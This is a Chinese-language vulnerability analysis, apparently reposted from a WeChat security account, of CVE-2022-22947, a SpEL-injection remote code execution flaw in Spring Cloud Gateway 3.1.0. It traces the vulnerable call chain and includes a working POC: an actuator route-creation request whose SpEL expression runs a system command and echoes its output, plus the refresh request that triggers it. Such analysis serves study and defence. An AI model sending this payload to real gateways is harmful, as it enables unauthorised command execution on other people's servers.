详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

admin 2022年4月1日02:22:27评论203 views字数 2157阅读7分11秒阅读模式


环境

git clone https://github.com/spring-cloud/spring-cloud-gatewaycd spring-cloud-gatewaygit checkout v3.1.0

POC


POST /actuator/gateway/routes/new_route HTTP/1.1Host: 127.0.0.1:8080Connection: closeContent-Type: application/json{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"    }  }],  "uri": "http://example.com"}

审计

首先根据POC可以大致看出这个漏洞根本原因是存在SPEL注入,再根据diff记录,重

点关注SPEL注入相关函数的修改:

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

从这里就可以明显看出漏洞的触发点在

org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue

接下来就是往上回溯执行点 

org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType

这枚举中调用了getValue函数,而shortcutType方法则调用了ShortcutType.DEFAULT

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

继续向上查找shortcutType函数的调用情况,可以看到在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties中对该函数进行了调用

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

这里的normalizeProperties函数对成员变量properties进行了调用,继续向上,则是

ConfigurableBuilder的父类AbstractBuilder#bind中调用了normalizeProperties函数

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

继续向上找bind方法的调用

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

这里可以看到不仅调用bind方法,还调用了properties方法对后续关键的成员变量proper

ties进行了设置

通过loadGatewayFilters方法向上回溯调用,可以找到这么一条链

RouteDefinitionRouteLocator#loadGatewayFilters -> RouteDefinitionRouteLocator#getFilters -> RouteDefinitionRouteLocator#convertToRoute -> RouteDefinitionRouteLocator#getRoutes ->GatewayControllerEndpoint#route

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

从这里就能看出漏洞的来源是filter路由的添加

POC执行流程

首先通过添加路由功能添加一条路由,也就是POC中的请求,代码如下

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

这里可以看下构造路由所需的参数,也就是RouteDefinition的结构

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

再跟进一下FilterDefinition

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

还需要一个name和args的键值对

其他的则是validateRouteDefinition函数值得注意,它主要校验添加的路由的name要

和已有的filter相匹配

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

简单看一下变量,已有的filter有29个,我们就可以根据这个29个filter的name去构

造poc,而AddResponseHeader显然也是其中一个(选择这个filter的原因是它能够

回显)

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

发送POC之后,新的路由就被添加了,但此时漏洞并没有触发,需要调用refresh接

口激活刚添加的路由

POST /actuator/gateway/refresh HTTP/1.1 Host: 127.0.0.1:8080 Connection: close

发送之后,则会调用上文中的漏洞触发过程

总结

这个漏洞的原理还是比较简单的,但是整个利用链感觉还是比较复杂,想要完全梳

理漏洞的触发逻辑还需要对spring cloud gateway这个框架有一定的了解,因此本

文只是对这个漏洞的利用过程进行了一个大致的梳理,有一些细节就没有去深究

了,这也是后续需要学习完善的地方。

参考

https://www.cnblogs.com/bitterz/p/15964852.html

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response

来源 https://xz.aliyun.com/t/11004


Java 安全群

详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947


原文始发于微信公众号(安全帮Live):详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月1日02:22:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   详细分析 SpringCloud GateWay SPEL RCE CVE-2022-22947http://cn-sec.com/archives/858418.html

发表评论

匿名网友 填写信息